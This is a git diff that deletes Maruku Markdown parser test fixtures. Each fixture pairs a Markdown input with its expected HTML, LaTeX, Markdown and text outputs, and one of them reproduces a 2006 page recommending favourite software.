-<li><em>Text Editor</em>: <a href="http://www.apple.com/getamac/">TextMate</a>, you have to buy it, but it&#8217;s worth every penny. There are rumours that it&#8217;s been converting (recovering) Emacs users (addicts). Unfortunately, it&#8217;s Mac only. An alternative is <a href="http://www.jedit.org/">jedit</a> (GPL, Java).</li>
-</ul>
-
-<h3 id="development_2">Development</h3>
-
-<ul>
-<li>
-<p><em>Build system</em>: <a href="http://www.cmake.org/">cmake</a>, throw the <a href="http://sources.redhat.com/autobook/">autotools</a> away.</p>
-</li>
-
-<li>
-<p><em>Source code control system</em>: ditch CVS for <a href="http://subversion.tigris.org">subversion</a>.</p>
-</li>
-
-<li>
-<p><em>Project management</em>: <a href="http://trac.edgewall.org/">Trac</a> tracks everything.</p>
-</li>
-
-<li>
-<p><em>Scripting language</em>: <a href="http://www.ruby-lang.org/">Ruby</a> is Japanese pragmatism (and has a <a href="http://poignantguide.net/ruby/">poignant</a> guide). Python, you say? Python is too academic and snob:</p>
-
-<pre><code>$ python       
-Python 2.4.1 (\#1, Jun  4 2005, 00:54:33) 
-Type "help", "copyright", "credits" or "license" for more information.
-&gt;&gt;&gt; exit
-'Use Ctrl-D (i.e. EOF) to exit.'
-&gt;&gt;&gt; quit
-'Use Ctrl-D (i.e. EOF) to exit.'</code></pre>
-</li>
-
-<li>
-<p><em>Java IDE</em>: <a href="http://www.borland.com/us/products/jbuilder/index.html">JBuilder</a> is great software and has a free version (IMHO better than Eclipse). Java is not a pain anymore since it gained <a href="http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html">generics</a> and got opensourced.</p>
-</li>
-
-<li>
-<p><em>Mark-up language</em>: HTML is so 2001, why don&#8217;t you take at look at <a href="http://en.wikipedia.org/wiki/Markdown">Markdown</a>? <a href="data/misc_markdown.png">Look at the source of this page</a>.</p>
-</li>
-
-<li>
-<p><em>C++ libraries</em>: * <a href="http://www.trolltech.no/">QT</a> for GUIs. * <a href="http://www.gnu.org/software/gsl/">GSL</a> for math. * <a href="http://www.imagemagick.org/Magick++/">Magick++</a> for manipulating images. * <a href="http://cairographics.org/">Cairo</a> for creating PDFs. * <a href="http://www.boost.org/">Boost</a> for just about everything else.</p>
-</li>
-</ul>
-
-<h3 id="research_3">Research</h3>
-
-<ul>
-<li><em>Writing papers</em>: <a href="http://en.wikipedia.org/wiki/LaTeX">LaTeX</a></li>
-
-<li><em>Writing papers &amp; enjoying the process</em>: <a href="http://www.lyx.org">LyX</a></li>
-
-<li><em>Handsome figures in your papers</em>: <a href="http://www.xfig.org/">xfig</a> or, better, <a href="http://tams-www.informatik.uni-hamburg.de/applets/jfig/">jfig</a>.</li>
-
-<li><em>The occasional presentation with many graphical content</em>: <a href="http://www.openoffice.org/product/impress.html">OpenOffice Impress</a> (using the <a href="http://ooolatex.sourceforge.net/">OOOlatex plugin</a>); the alternative is PowerPoint with the <a href="http://texpoint.necula.org/">TexPoint</a> plugin.</li>
-
-<li><em>Managing BibTeX</em>: <a href="http://jabref.sourceforge.net/">jabref</a>: multi-platform, for all your bibtex needs.</li>
-
-<li><em>IEEExplore and BibTeX</em>: convert citations using <a href="http://www.bibconverter.net/ieeexplore/">BibConverter</a>.</li>
-</ul>
-
-<h3 id="cool_websites_4">Cool websites</h3>
-
-<ul>
-<li><em>Best site in the wwworld</em>: <a href="http://en.wikipedia.org/">Wikipedia</a></li>
-
-<li><a href="http://www.mutopiaproject.org/">Mutopia</a> for sheet music; <a href="http://www.gutenberg.org/">the Gutenberg Project</a> for books; <a href="http://www.liberliber.it/">LiberLiber</a> for books in italian.</li>
-
-<li><em>Blogs</em>: <a href="http://bloglines.com/">Bloglines</a></li>
-
-<li><em>Sharing photos</em>: <a href="http://www.flickr.com/">flickr</a> exposes an API you can use.</li>
-</ul>
-*** Output of to_latex ***
-\hypertarget{general_1}{}\subsubsection*{{General}}\label{general_1}
-
-\begin{itemize}%
-\item \emph{Operating System} : \href{http://www.apple.com/getamac/}{Mac OS X}: heaven, after the purgatory of Linux and the hell of Windows.
-\item \emph{Browser}: \href{http://getfirefox.com/}{Firefox}. On a Mac, \href{http://www.caminobrowser.org/}{Camino}.
-\item \emph{Email}: \href{http://gmail.com/}{GMail}, ``{}search, don'{}t sort''{} really works.
-\item \emph{Text Editor}: \href{http://www.apple.com/getamac/}{TextMate}, you have to buy it, but it'{}s worth every penny. There are rumours that it'{}s been converting (recovering) Emacs users (addicts). Unfortunately, it'{}s Mac only. An alternative is \href{http://www.jedit.org/}{jedit} (GPL, Java).
-
-\end{itemize}
-\hypertarget{development_2}{}\subsubsection*{{Development}}\label{development_2}
-
-\begin{itemize}%
-\item \emph{Build system}: \href{http://www.cmake.org/}{cmake}, throw the \href{http://sources.redhat.com/autobook/}{autotools} away.
-
-
-\item \emph{Source code control system}: ditch CVS for \href{http://subversion.tigris.org}{subversion}.
-
-
-\item \emph{Project management}: \href{http://trac.edgewall.org/}{Trac} tracks everything.
-
-
-\item \emph{Scripting language}: \href{http://www.ruby-lang.org/}{Ruby} is Japanese pragmatism (and has a \href{http://poignantguide.net/ruby/}{poignant} guide). Python, you say? Python is too academic and snob:
-
-\begin{verbatim}$ python       
-Python 2.4.1 (\#1, Jun  4 2005, 00:54:33) 
-Type "help", "copyright", "credits" or "license" for more information.
->>> exit
-'Use Ctrl-D (i.e. EOF) to exit.'
->>> quit
-'Use Ctrl-D (i.e. EOF) to exit.'\end{verbatim}
-
-\item \emph{Java IDE}: \href{http://www.borland.com/us/products/jbuilder/index.html}{JBuilder} is great software and has a free version (IMHO better than Eclipse). Java is not a pain anymore since it gained \href{http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html}{generics} and got opensourced.
-
-
-\item \emph{Mark-up language}: HTML is so 2001, why don'{}t you take at look at \href{http://en.wikipedia.org/wiki/Markdown}{Markdown}? \href{data/misc_markdown.png}{Look at the source of this page}.
-
-
-\item \emph{C++ libraries}: * \href{http://www.trolltech.no/}{QT} for GUIs. * \href{http://www.gnu.org/software/gsl/}{GSL} for math. * \href{http://www.imagemagick.org/Magick++/}{Magick++} for manipulating images. * \href{http://cairographics.org/}{Cairo} for creating PDFs. * \href{http://www.boost.org/}{Boost} for just about everything else.
-
-
-
-\end{itemize}
-\hypertarget{research_3}{}\subsubsection*{{Research}}\label{research_3}
-
-\begin{itemize}%
-\item \emph{Writing papers}: \href{http://en.wikipedia.org/wiki/LaTeX}{LaTeX}
-\item \emph{Writing papers \& enjoying the process}: \href{http://www.lyx.org}{LyX}
-\item \emph{Handsome figures in your papers}: \href{http://www.xfig.org/}{xfig} or, better, \href{http://tams-www.informatik.uni-hamburg.de/applets/jfig/}{jfig}.
-\item \emph{The occasional presentation with many graphical content}: \href{http://www.openoffice.org/product/impress.html}{OpenOffice Impress} (using the \href{http://ooolatex.sourceforge.net/}{OOOlatex plugin}); the alternative is PowerPoint with the \href{http://texpoint.necula.org/}{TexPoint} plugin.
-\item \emph{Managing BibTeX}: \href{http://jabref.sourceforge.net/}{jabref}: multi-platform, for all your bibtex needs.
-\item \emph{IEEExplore and BibTeX}: convert citations using \href{http://www.bibconverter.net/ieeexplore/}{BibConverter}.
-
-\end{itemize}
-\hypertarget{cool_websites_4}{}\subsubsection*{{Cool websites}}\label{cool_websites_4}
-
-\begin{itemize}%
-\item \emph{Best site in the wwworld}: \href{http://en.wikipedia.org/}{Wikipedia}
-\item \href{http://www.mutopiaproject.org/}{Mutopia} for sheet music; \href{http://www.gutenberg.org/}{the Gutenberg Project} for books; \href{http://www.liberliber.it/}{LiberLiber} for books in italian.
-\item \emph{Blogs}: \href{http://bloglines.com/}{Bloglines}
-\item \emph{Sharing photos}: \href{http://www.flickr.com/}{flickr} exposes an API you can use.
-
-\end{itemize}
-*** Output of to_md ***
-Subject: Software not painful to use
-Subject_short: painless software
-Topic: /misc/coolsw
-Archive: no
-Date: Nov 20 2006
-Order: -9.5
-inMenu: true
-
-
-### General
-
-* *Operating System* : [Mac OS X][switch]: heaven, after the purgatory of Linux
-  and the hell of Windows.
-* *Browser*: [Firefox][firefox]. On a Mac, [Camino][camino].
-* *Email*: [GMail][gmail], "search, don't sort" really works.
-* *Text Editor*: [TextMate][textmate], you have to buy it, but it's worth every
-  penny. There are rumours that it's been converting (recovering) Emacs
-  users (addicts). Unfortunately, it's Mac only. An alternative is
-  [jedit][jedit] (GPL, Java).
-
-### Development
-
-* *Build system*: [cmake][cmake], throw the [autotools][autotools] away.
-* *Source code control system*: ditch CVS for [subversion][subversion].
-* *Project management*: [Trac][trac] tracks everything.
-* *Scripting language*: [Ruby][ruby] is Japanese pragmatism (and has a [poignant][poignant] guide).
-   Python, you say? Python is too academic and snob:
-
-      $ python
-      Python 2.4.1 (\#1, Jun  4 2005, 00:54:33)
-      Type "help", "copyright", "credits" or "license" for more information.
-      >>> exit
-      'Use Ctrl-D (i.e. EOF) to exit.'
-      >>> quit
-      'Use Ctrl-D (i.e. EOF) to exit.'
-
-* *Java IDE*: [JBuilder][jbuilder] is great software and has a free version (IMHO better than Eclipse). Java
- is not a pain anymore since it gained [generics][java-generics] and got opensourced.
-* *Mark-up language*: HTML is so 2001, why don't you take at look at [Markdown][markdown]? [Look at the source of this page](data/misc_markdown.png).
-* *C++ libraries*:
-    * [QT][qt] for GUIs.
-    * [GSL][gsl] for math.
-    * [Magick++][magick] for manipulating images.
-    * [Cairo][cairo] for creating PDFs.
-    * [Boost][boost] for just about everything else.
-
-
-### Research
-
-* *Writing papers*: [LaTeX][latex]
-* *Writing papers & enjoying the process*: [LyX][lyx]
-* *Handsome figures in your papers*: [xfig][xfig] or, better, [jfig][jfig].
-* *The occasional presentation with many graphical content*:
-  [OpenOffice Impress][impress] (using the [OOOlatex plugin][ooolatex]);
-  the alternative is PowerPoint with the [TexPoint][texpoint] plugin.
-* *Managing BibTeX*: [jabref][jabref]: multi-platform, for all your bibtex needs.
-* *IEEExplore and BibTeX*: convert citations using [BibConverter][bibconverter].
-
-### Cool websites
-
-* *Best site in the wwworld*: [Wikipedia][wikipedia]
-* [Mutopia][mutopia] for sheet music; [the Gutenberg Project][gutenberg] for books; [LiberLiber][liberliber] for books in italian.
-* *Blogs*: [Bloglines][bloglines]
-* *Sharing photos*: [flickr][flickr] exposes an API you can use.
-
-
-[firefox]:   http://getfirefox.com/
-[gmail]:     http://gmail.com/
-[bloglines]: http://bloglines.com/
-[wikipedia]: http://en.wikipedia.org/
-[ruby]:      http://www.ruby-lang.org/
-[poignant]:  http://poignantguide.net/ruby/
-[webgen]:    http://webgen.rubyforge.org/
-[markdown]:  http://daringfireball.net/projects/markdown/
-[latex]:     http://en.wikipedia.org/wiki/LaTeX
-[lyx]:       http://www.lyx.org
-[impress]:   http://www.openoffice.org/product/impress.html
-[ooolatex]:  http://ooolatex.sourceforge.net/
-[texpoint]:  http://texpoint.necula.org/
-[jabref]:    http://jabref.sourceforge.net/
-[camino]:    http://www.caminobrowser.org/
-[switch]:    http://www.apple.com/getamac/
-[textmate]:  http://www.apple.com/getamac/
-[cmake]:     http://www.cmake.org/
-[xfig]:      http://www.xfig.org/
-[jfig]:         http://tams-www.informatik.uni-hamburg.de/applets/jfig/
-[subversion]:   http://subversion.tigris.org
-[jbuilder]:     http://www.borland.com/us/products/jbuilder/index.html
-[flickr]:       http://www.flickr.com/
-[myflickr]:     http://www.flickr.com/photos/censi
-[bibconverter]: http://www.bibconverter.net/ieeexplore/
-[autotools]:    http://sources.redhat.com/autobook/
-[jedit]:        http://www.jedit.org/
-[qt]:           http://www.trolltech.no/
-[gsl]:          http://www.gnu.org/software/gsl/
-[magick]:       http://www.imagemagick.org/Magick++/
-[cairo]:        http://cairographics.org/
-[boost]:        http://www.boost.org/
-[markdown]:     http://en.wikipedia.org/wiki/Markdown
-[trac]:         http://trac.edgewall.org/
-[mutopia]:      http://www.mutopiaproject.org/
-[liberliber]:   http://www.liberliber.it/
-[gutenberg]:    http://www.gutenberg.org/
-[java-generics]: http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html
-
-
-*** Output of to_s ***
-GeneralOperating System : Mac OS X: heaven, after the purgatory of Linux and the hell of Windows.Browser: Firefox. On a Mac, Camino.Email: GMail, search, dont sort really works.Text Editor: TextMate, you have to buy it, but its worth every penny. There are rumours that its been converting (recovering) Emacs users (addicts). Unfortunately, its Mac only. An alternative is jedit (GPL, Java).DevelopmentBuild system: cmake, throw the autotools away.Source code control system: ditch CVS for subversion.Project management: Trac tracks everything.Scripting language: Ruby is Japanese pragmatism (and has a poignant guide). Python, you say? Python is too academic and snob:Java IDE: JBuilder is great software and has a free version (IMHO better than Eclipse). Java is not a pain anymore since it gained generics and got opensourced.Mark-up language: HTML is so 2001, why dont you take at look at Markdown? Look at the source of this page.C++ libraries: * QT for GUIs. * GSL for math. * Magick++ for manipulating images. * Cairo for creating PDFs. * Boost for just about everything else.ResearchWriting papers: LaTeXWriting papers & enjoying the process: LyXHandsome figures in your papers: xfig or, better, jfig.The occasional presentation with many graphical content: OpenOffice Impress (using the OOOlatex plugin); the alternative is PowerPoint with the TexPoint plugin.Managing BibTeX: jabref: multi-platform, for all your bibtex needs.IEEExplore and BibTeX: convert citations using BibConverter.Cool websitesBest site in the wwworld: WikipediaMutopia for sheet music; the Gutenberg Project for books; LiberLiber for books in italian.Blogs: BloglinesSharing photos: flickr exposes an API you can use.
diff --git a/vendor/plugins/maruku/spec/block_docs/notyet/escape.md b/vendor/plugins/maruku/spec/block_docs/notyet/escape.md
deleted file mode 100644
index c9b2e849..00000000
--- a/vendor/plugins/maruku/spec/block_docs/notyet/escape.md
+++ /dev/null
@@ -1,21 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-`\\`
-
-`\`
-*** Output of inspect ***
-md_el(:document,[md_par([md_code("\\\\")]), md_par([md_code("\\")])],{},[])
-*** Output of to_html ***
-<p><code>\\</code></p>
-
-<p><code>\</code></p>
-*** Output of to_latex ***
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char92\char92}}
-
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char92}}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/notyet/header_after_par.md b/vendor/plugins/maruku/spec/block_docs/notyet/header_after_par.md
deleted file mode 100644
index c0d1c7d8..00000000
--- a/vendor/plugins/maruku/spec/block_docs/notyet/header_after_par.md
+++ /dev/null
@@ -1,62 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:title=>"header"}
-*** Markdown input: ***
-Paragraph
-### header ###
-
-Paragraph
-header
-------
-
-Paragraph
-header
-======
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph"]),
-	md_el(:header,["header"],{:level=>3},[]),
-	md_par(["Paragraph"]),
-	md_el(:header,["header"],{:level=>2},[]),
-	md_par(["Paragraph"]),
-	md_el(:header,["header"],{:level=>1},[])
-],{},[])
-*** Output of to_html ***
-<p>Paragraph</p>
-
-<h3 id="header_1">header</h3>
-
-<p>Paragraph</p>
-
-<h2 id="header_2">header</h2>
-
-<p>Paragraph</p>
-
-<h1 id="header_3">header</h1>
-*** Output of to_latex ***
-Paragraph
-
-\hypertarget{header_1}{}\subsubsection*{{header}}\label{header_1}
-
-Paragraph
-
-\hypertarget{header_2}{}\subsection*{{header}}\label{header_2}
-
-Paragraph
-
-\hypertarget{header_3}{}\section*{{header}}\label{header_3}
-*** Output of to_md ***
-Paragraph
-
-### header
-
-Paragraph
-
-## header
-
-Paragraph
-
-# header
-*** Output of to_s ***
-ParagraphheaderParagraphheaderParagraphheader
diff --git a/vendor/plugins/maruku/spec/block_docs/notyet/ticks.md b/vendor/plugins/maruku/spec/block_docs/notyet/ticks.md
deleted file mode 100644
index 10b880ab..00000000
--- a/vendor/plugins/maruku/spec/block_docs/notyet/ticks.md
+++ /dev/null
@@ -1,18 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-``There is a literal backtick (`) here.``
-
-
-*** Output of inspect ***
-md_el(:document,[md_par([md_code("There is a literal backtick (`) here.")])],{},[])
-*** Output of to_html ***
-<p><code>There is a literal backtick (`) here.</code></p>
-*** Output of to_latex ***
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt There~is~a~literal~backtick~\char40\char96\char41~here\char46}}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/notyet/triggering.md b/vendor/plugins/maruku/spec/block_docs/notyet/triggering.md
deleted file mode 100644
index 160f04ae..00000000
--- a/vendor/plugins/maruku/spec/block_docs/notyet/triggering.md
+++ /dev/null
@@ -1,158 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph, list with no space:
-* ciao
-
-Paragraph, list with 1 space:
- * ciao
-
-Paragraph, list with 3 space:
-   * ciao
-
-Paragraph, list with 4 spaces:
-    * ciao
-
-Paragraph, list with 1 tab:
-	* ciao
-
-Paragraph (1 space after), list with no space: 
-* ciao
-
-Paragraph (2 spaces after), list with no space:  
-* ciao
-
-Paragraph (3 spaces after), list with no space:   
-* ciao
-
-Paragraph with block quote:
-> Quoted
-
-Paragraph with header:
-### header ###
-
-Paragraph with header on two lines:
-header
-------
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph, list with no space: * ciao"]),
-	md_par(["Paragraph, list with 1 space: * ciao"]),
-	md_par(["Paragraph, list with 3 space: * ciao"]),
-	md_par(["Paragraph, list with 4 spaces: * ciao"]),
-	md_par(["Paragraph, list with 1 tab: * ciao"]),
-	md_par(["Paragraph (1 space after), list with no space: * ciao"]),
-	md_par([
-		"Paragraph (2 spaces after), list with no space:",
-		md_el(:linebreak,[],{},[]),
-		"* ciao"
-	]),
-	md_par([
-		"Paragraph (3 spaces after), list with no space: ",
-		md_el(:linebreak,[],{},[]),
-		"* ciao"
-	]),
-	md_par(["Paragraph with block quote:"]),
-	md_el(:quote,[md_par(["Quoted"])],{},[]),
-	md_par(["Paragraph with header:"]),
-	md_el(:header,["header"],{:level=>3},[]),
-	md_par(["Paragraph with header on two lines:"]),
-	md_el(:header,["header"],{:level=>2},[])
-],{},[])
-*** Output of to_html ***
-<p>Paragraph, list with no space: * ciao</p>
-
-<p>Paragraph, list with 1 space: * ciao</p>
-
-<p>Paragraph, list with 3 space: * ciao</p>
-
-<p>Paragraph, list with 4 spaces: * ciao</p>
-
-<p>Paragraph, list with 1 tab: * ciao</p>
-
-<p>Paragraph (1 space after), list with no space: * ciao</p>
-
-<p>Paragraph (2 spaces after), list with no space:<br />* ciao</p>
-
-<p>Paragraph (3 spaces after), list with no space: <br />* ciao</p>
-
-<p>Paragraph with block quote:</p>
-
-<blockquote>
-<p>Quoted</p>
-</blockquote>
-
-<p>Paragraph with header:</p>
-
-<h3 id="header_1">header</h3>
-
-<p>Paragraph with header on two lines:</p>
-
-<h2 id="header_2">header</h2>
-*** Output of to_latex ***
-Paragraph, list with no space: * ciao
-
-Paragraph, list with 1 space: * ciao
-
-Paragraph, list with 3 space: * ciao
-
-Paragraph, list with 4 spaces: * ciao
-
-Paragraph, list with 1 tab: * ciao
-
-Paragraph (1 space after), list with no space: * ciao
-
-Paragraph (2 spaces after), list with no space:\newline * ciao
-
-Paragraph (3 spaces after), list with no space: \newline * ciao
-
-Paragraph with block quote:
-
-\begin{quote}%
-Quoted
-
-
-\end{quote}
-Paragraph with header:
-
-\hypertarget{header_1}{}\subsubsection*{{header}}\label{header_1}
-
-Paragraph with header on two lines:
-
-\hypertarget{header_2}{}\subsection*{{header}}\label{header_2}
-*** Output of to_md ***
-Paragraph, list with no space: * ciao
-
-Paragraph, list with 1 space: * ciao
-
-Paragraph, list with 3 space: * ciao
-
-Paragraph, list with 4 spaces: * ciao
-
-Paragraph, list with 1 tab: * ciao
-
-Paragraph (1 space after), list with no
-space: * ciao
-
-Paragraph (2 spaces after), list with
-no space:  
-* ciao
-
-Paragraph (3 spaces after), list with
-no space:  
-* ciao
-
-Paragraph with block quote:
-
-> Quoted
-Paragraph with header:
-
-### header
-
-Paragraph with header on two lines:
-
-## header
-*** Output of to_s ***
-Paragraph, list with no space: * ciaoParagraph, list with 1 space: * ciaoParagraph, list with 3 space: * ciaoParagraph, list with 4 spaces: * ciaoParagraph, list with 1 tab: * ciaoParagraph (1 space after), list with no space: * ciaoParagraph (2 spaces after), list with no space:* ciaoParagraph (3 spaces after), list with no space: * ciaoParagraph with block quote:QuotedParagraph with header:headerParagraph with header on two lines:header
diff --git a/vendor/plugins/maruku/spec/block_docs/olist.md b/vendor/plugins/maruku/spec/block_docs/olist.md
deleted file mode 100644
index e9535a93..00000000
--- a/vendor/plugins/maruku/spec/block_docs/olist.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-This is a list:
-
-2. one
-2. two
-3. three
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This is a list:"]),
-	md_el(:ol,[
-		md_el(:li_span,["one"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["two"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["three"],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<p>This is a list:</p>
-
-<ol>
-<li>one</li>
-
-<li>two</li>
-
-<li>three</li>
-</ol>
-*** Output of to_latex ***
-This is a list:
-
-\begin{enumerate}%
-\item one
-\item two
-\item three
-
-\end{enumerate}
-*** Output of to_md ***
-This is a list:
-
-1. one
-2. two
-3. three
-*** Output of to_s ***
-This is a list:onetwothree
diff --git a/vendor/plugins/maruku/spec/block_docs/one.md b/vendor/plugins/maruku/spec/block_docs/one.md
deleted file mode 100644
index a5ef0d6f..00000000
--- a/vendor/plugins/maruku/spec/block_docs/one.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-One line
-*** Output of inspect ***
-md_el(:document,[md_par(["One line"])],{},[])
-*** Output of to_html ***
-<p>One line</p>
-*** Output of to_latex ***
-One line
-*** Output of to_md ***
-One line
-*** Output of to_s ***
-One line
diff --git a/vendor/plugins/maruku/spec/block_docs/paragraph.md b/vendor/plugins/maruku/spec/block_docs/paragraph.md
deleted file mode 100644
index 9dd04bf6..00000000
--- a/vendor/plugins/maruku/spec/block_docs/paragraph.md
+++ /dev/null
@@ -1,16 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph
-
-*** Output of inspect ***
-md_el(:document,[md_par(["Paragraph"])],{},[])
-*** Output of to_html ***
-<p>Paragraph</p>
-*** Output of to_latex ***
-Paragraph
-*** Output of to_md ***
-Paragraph
-*** Output of to_s ***
-Paragraph
diff --git a/vendor/plugins/maruku/spec/block_docs/paragraph_rules/dont_merge_ref.md b/vendor/plugins/maruku/spec/block_docs/paragraph_rules/dont_merge_ref.md
deleted file mode 100644
index 2a34996f..00000000
--- a/vendor/plugins/maruku/spec/block_docs/paragraph_rules/dont_merge_ref.md
+++ /dev/null
@@ -1,46 +0,0 @@
-Paragraphs eats everything, but not link definitions.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph
-[google1]: #
-
-Paragraph
- [google2]: #
-
-Paragraph
-  [google3]: #
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph"]),
-	md_ref_def("google1", "#", {:title=>nil}),
-	md_par(["Paragraph"]),
-	md_ref_def("google2", "#", {:title=>nil}),
-	md_par(["Paragraph"]),
-	md_ref_def("google3", "#", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<p>Paragraph</p>
-
-<p>Paragraph</p>
-
-<p>Paragraph</p>
-*** Output of to_latex ***
-Paragraph
-
-Paragraph
-
-Paragraph
-*** Output of to_md ***
-Paragraph
-[google1]: #
-
-Paragraph
- [google2]: #
-
-Paragraph
-  [google3]: #
-
-*** Output of to_s ***
-ParagraphParagraphParagraph
diff --git a/vendor/plugins/maruku/spec/block_docs/paragraph_rules/tab_is_blank.md b/vendor/plugins/maruku/spec/block_docs/paragraph_rules/tab_is_blank.md
deleted file mode 100644
index 6ef932b2..00000000
--- a/vendor/plugins/maruku/spec/block_docs/paragraph_rules/tab_is_blank.md
+++ /dev/null
@@ -1,24 +0,0 @@
-Paragraphs eat blank lines.
-The following are two paragraphs:
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph1
-	
-Paragraph2
-*** Output of inspect ***
-md_el(:document,[md_par(["Paragraph1"]), md_par(["Paragraph2"])],{},[])
-*** Output of to_html ***
-<p>Paragraph1</p>
-
-<p>Paragraph2</p>
-*** Output of to_latex ***
-Paragraph1
-
-Paragraph2
-*** Output of to_md ***
-Paragraph1
-
-Paragraph2
-*** Output of to_s ***
-Paragraph1Paragraph2
diff --git a/vendor/plugins/maruku/spec/block_docs/paragraphs.md b/vendor/plugins/maruku/spec/block_docs/paragraphs.md
deleted file mode 100644
index db9e7f77..00000000
--- a/vendor/plugins/maruku/spec/block_docs/paragraphs.md
+++ /dev/null
@@ -1,46 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph 1
-
-Paragraph 2
-
-
-Paragraph 3
-Paragraph 4
-Paragraph Br->  
-Paragraph 5
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph 1"]),
-	md_par(["Paragraph 2"]),
-	md_par([
-		"Paragraph 3 Paragraph 4 Paragraph Br->",
-		md_el(:linebreak,[],{},[]),
-		"Paragraph 5"
-	])
-],{},[])
-*** Output of to_html ***
-<p>Paragraph 1</p>
-
-<p>Paragraph 2</p>
-
-<p>Paragraph 3 Paragraph 4 Paragraph Br-&gt;<br />Paragraph 5</p>
-*** Output of to_latex ***
-Paragraph 1
-
-Paragraph 2
-
-Paragraph 3 Paragraph 4 Paragraph Br-{\tt \char62}\newline Paragraph 5
-*** Output of to_md ***
-Paragraph 1
-
-Paragraph 2
-
-Paragraph 3 Paragraph 4 Paragraph Br->  
-Paragraph 5
-*** Output of to_s ***
-Paragraph 1Paragraph 2Paragraph 3 Paragraph 4 Paragraph Br->Paragraph 5
diff --git a/vendor/plugins/maruku/spec/block_docs/pending/amps.md b/vendor/plugins/maruku/spec/block_docs/pending/amps.md
deleted file mode 100644
index 599b526e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/pending/amps.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-	@articles.map(&:title)
-*** Output of inspect ***
-md_el(:document,[md_el(:code,[],{:raw_code=>"@articles.map(&:title)"},[])],{},[])
-*** Output of to_html ***
-<pre><code>@articles.map(&amp;:title)</code></pre>
-*** Output of to_latex ***
-\begin{verbatim}@articles.map(&:title)\end{verbatim}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/pending/empty_cells.md b/vendor/plugins/maruku/spec/block_docs/pending/empty_cells.md
deleted file mode 100644
index 61fd62a4..00000000
--- a/vendor/plugins/maruku/spec/block_docs/pending/empty_cells.md
+++ /dev/null
@@ -1,37 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-|    | 1  | 2  |
-|----|----|----|
-|  A | X  |    |
-|  B |    | X  |
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:table,[
-		md_el(:head_cell,[],{},[]),
-		md_el(:head_cell,["1"],{},[]),
-		md_el(:head_cell,["2"],{},[]),
-		md_el(:cell,["A"],{},[]),
-		md_el(:cell,["X"],{},[]),
-		md_el(:cell,[],{},[]),
-		md_el(:cell,["B"],{},[]),
-		md_el(:cell,[],{},[]),
-		md_el(:cell,["X"],{},[])
-	],{:align=>[:left, :left, :left]},[])
-],{},[])
-*** Output of to_html ***
-<table><thead><tr><th></th><th>1</th><th>2</th></tr></thead><tbody><tr><td style="text-align: left;">A</td><td style="text-align: left;">X</td><td style="text-align: left;"></td></tr>
-<tr><td style="text-align: left;">B</td><td style="text-align: left;"></td><td style="text-align: left;">X</td></tr>
-</tbody></table>
-*** Output of to_latex ***
-\begin{tabular}{l|l|l}
-&1&2\\
-\hline 
-A&X&\\
-B&&X\\
-\end{tabular}
-*** Output of to_md ***
-12AXBX
-*** Output of to_s ***
-12AXBX
diff --git a/vendor/plugins/maruku/spec/block_docs/pending/link.md b/vendor/plugins/maruku/spec/block_docs/pending/link.md
deleted file mode 100644
index e4a1014a..00000000
--- a/vendor/plugins/maruku/spec/block_docs/pending/link.md
+++ /dev/null
@@ -1,88 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-<http://www.aa.com>
-
- <http://www.bb.com>
-
-  <http://www.cc.com>
-
-   <http://www.dd.com>
-
-    <http://www.dd.com>
-
-<a@invalid.it>
-
- <a@invalid.it>
-
-   <a@invalid.it>
-
-    <a@invalid.it>
-*** Output of inspect ***
-md_el(:document,[
-	md_par([md_url("http://www.aa.com")]),
-	md_par([md_url("http://www.bb.com")]),
-	md_par([md_url("http://www.cc.com")]),
-	md_par([md_url("http://www.dd.com")]),
-	md_el(:code,[],{:raw_code=>"<http://www.dd.com>"},[]),
-	md_par([md_email("a@invalid.it")]),
-	md_par([md_email("a@invalid.it")]),
-	md_par([md_email("a@invalid.it")]),
-	md_el(:code,[],{:raw_code=>"<a@invalid.it>"},[])
-],{},[])
-*** Output of to_html ***
-<p><a href="http://www.aa.com">http://www.aa.com</a></p>
-
-<p><a href="http://www.bb.com">http://www.bb.com</a></p>
-
-<p><a href="http://www.cc.com">http://www.cc.com</a></p>
-
